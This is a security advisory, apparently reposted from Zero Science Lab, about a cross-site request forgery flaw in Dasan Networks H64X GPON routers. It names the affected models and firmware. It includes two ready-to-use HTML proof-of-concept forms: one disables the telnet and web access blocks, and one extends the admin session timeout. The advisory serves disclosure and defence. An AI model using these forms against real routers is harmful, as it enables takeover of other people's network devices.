Dasan Networks GPON ONT WiFi Router H64X Series - Cross-Site Request Forgery

2017.07.14
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-352

Dasan Networks GPON ONT WiFi Router H64X Series Cross-Site Request Forgery Vendor: Dasan Networks Product web page: http://www.dasannetworks.com | http://www.dasannetworks.eu Affected version: Model: H640GR-02 H640GV-03 H640GW-02 H640RW-02 H645G Firmware: 3.03p1-1145 3.03-1144-01 3.02p2-1141 2.77p1-1125 2.77-1115 2.76-9999 2.76-1101 2.67-1070 2.45-1045 Summary: H64xx is comprised of one G-PON uplink port and four ports of Gigabit Ethernet downlink supporting 10/100/1000Base-T (RJ45). It helps service providers to extend their core optical network all the way to their subscribers, eliminating bandwidth bottlenecks in the last mile. H64xx is integrated device that provide the high quality Internet, telephony service (VoIP) and IPTV or OTT content for home or office. H64xx enable the subscribers to make a phone call whose quality is equal to PSTN at competitive price, and enjoy the high quality resolution live video and service such as VoD or High Speed Internet. Desc: The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain, if not all actions with administrative privileges if a logged-in user visits a malicious web site. Tested on: Server: lighttpd/1.4.31 Server: DasanNetwork Solution Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2017-5422 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5422.php 19.05.2017 -- Enable telnet access (disable telnet blocking): Enable web access (disable web blocking): ----------------------------------------------- <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://192.168.0.1:8080/cgi-bin/remote_mgmt_action.cgi" method="POST"> <input type="hidden" name="rdoIPhost2TelnetBlocking" value="0" /> <input type="hidden" name="rdoIPhost2WebBlocking" value="0" /> <input type="hidden" name="waiting&#95;action" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html> Increase session timeout (0: disable, min: 1, max: 60): ------------------------------------------------------- <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://192.168.0.1:8080/cgi-bin/websetting_action.cgi" method="POST"> <input type="hidden" name="sessionTimeout" value="60" /> <input type="submit" value="Submit request" /> </form> </body> </html>

References:

http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5422.php


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